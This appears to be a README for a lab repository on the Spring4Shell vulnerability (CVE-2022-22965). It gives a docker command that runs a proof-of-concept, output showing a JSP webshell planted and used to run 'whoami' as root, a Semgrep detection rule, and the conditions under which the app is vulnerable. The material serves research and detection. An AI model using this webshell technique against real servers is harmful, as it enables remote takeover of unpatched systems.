CVE-2022-22965 - vulnerable app and PoC
Trial & error
$ docker rm -f rce; docker build -t rce:latest . && docker run -d -p 8080:8080 --name rce rce:latest && sleep 5 && python poc.py
Output example
rce
sha256:f626a2190dc0790c610afd4f12a4b2482b6a726d671fdac1432275de89c07cd6
1a048e5725f754d331de9491d0750c4c7a163472dea1fd1554edccfd00d7f6e5
deploy <Response [200]>
webshell <Response [404]>
webshell <Response [404]>
webshell <Response [404]>
webshell <Response [404]>
webshell <Response [500]>
webshell http://localhost:8080/tomcatwar.jsp?cmd=whoami
root
Identification with Semgrep
$ semgrep --config=semgrep-rule.yml .
Output example
Findings:
src/main/java/com/example/demo/controller/IndexController.java
cve-2022-22965
Semgrep found a match
14┆ @RequestMapping("/index")
15┆ public void index(EvalBean evalBean) {
16┆
17┆ }
Ran 1 rule on 3 files: 1 finding.
Vulnerable app requirements1
- JDK 9 or above
- Standalone Tomcat (no Embedded Tomcat) with WAR deployment
- Any Spring version before 5.3.18 / 5.2.20 (Spring Boot before 2.5.12 / 2.6.6)
- No blocklist on WebDataBinder / InitBinder
- Parameter bind with POJOs directly (no @RequestBody, @RequestQuery, etc.)
- Writeable file system (e.g webapps/ROOT)
Sources
- https://twitter.com/vxunderground/status/1509170582469943303 / https://github.com/craig/SpringCore0day
- https://github.com/fengguangbin/spring-rce-war
Footnotes
-
Assuming exploits similar to the known PoCs. There might be other gadgets...
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